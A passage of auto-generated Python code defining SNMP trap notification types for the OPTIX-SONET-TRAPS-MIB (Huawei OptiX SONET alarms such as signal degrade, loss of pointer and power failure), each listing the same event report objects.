("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLaserApprochingEndOfLife.setStatus('current') evtOutPowerHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32821)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOutPowerHigh.setStatus('current') evtOutPowerLow = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32822)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtOutPowerLow.setStatus('current') evtSignalDegradeSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32823)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalDegradeSection.setStatus('current') evtAlarmIndicationSignalLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32824)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAlarmIndicationSignalLine.setStatus('current') evtRemoteFailureIindicationLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32825)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteFailureIindicationLine.setStatus('current') evtAlarmIndicationSignalPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32826)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAlarmIndicationSignalPath.setStatus('current') evtLossOfPointerPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32827)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfPointerPath.setStatus('current') evtTraceIdentifierMismatchPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32828)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTraceIdentifierMismatchPath.setStatus('current') evtUnequippedPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32829)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtUnequippedPath.setStatus('current') evtSignalFailurePath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32830)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalFailurePath.setStatus('current') evtSignalDegradePath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32831)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtSignalDegradePath.setStatus('current') evtRemoteFailureIindicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32832)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtRemoteFailureIindicationPath.setStatus('current') evtALS = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32833)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtALS.setStatus('current') evtLoopbackFacility = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32834)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackFacility.setStatus('current') evtLoopbackTerminal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32835)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLoopbackTerminal.setStatus('current') evtPayloadLabelMisatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32836)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPayloadLabelMisatch.setStatus('current') evtEnhancedRemotePalyloadFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32837)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEnhancedRemotePalyloadFailureIndicationPath.setStatus('current') evtEnhancedRemoteServerFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32838)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEnhancedRemoteServerFailureIndicationPath.setStatus('current') evtEnhancedRemoteConnectivityFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32839)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtEnhancedRemoteConnectivityFailureIndicationPath.setStatus('current') evtPDIPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32840)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPDIPath.setStatus('current') evtPowerFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32841)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPowerFail.setStatus('current') evtLossOfPointerVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32842)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfPointerVT.setStatus('current') evtAlarmIndicationSignalVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32843)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtAlarmIndicationSignalVT.setStatus('current') evtPayloadLabelMismatchVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 32844)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPayloadLabelMismatchVT.setStatus('current') evtUnequippedVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 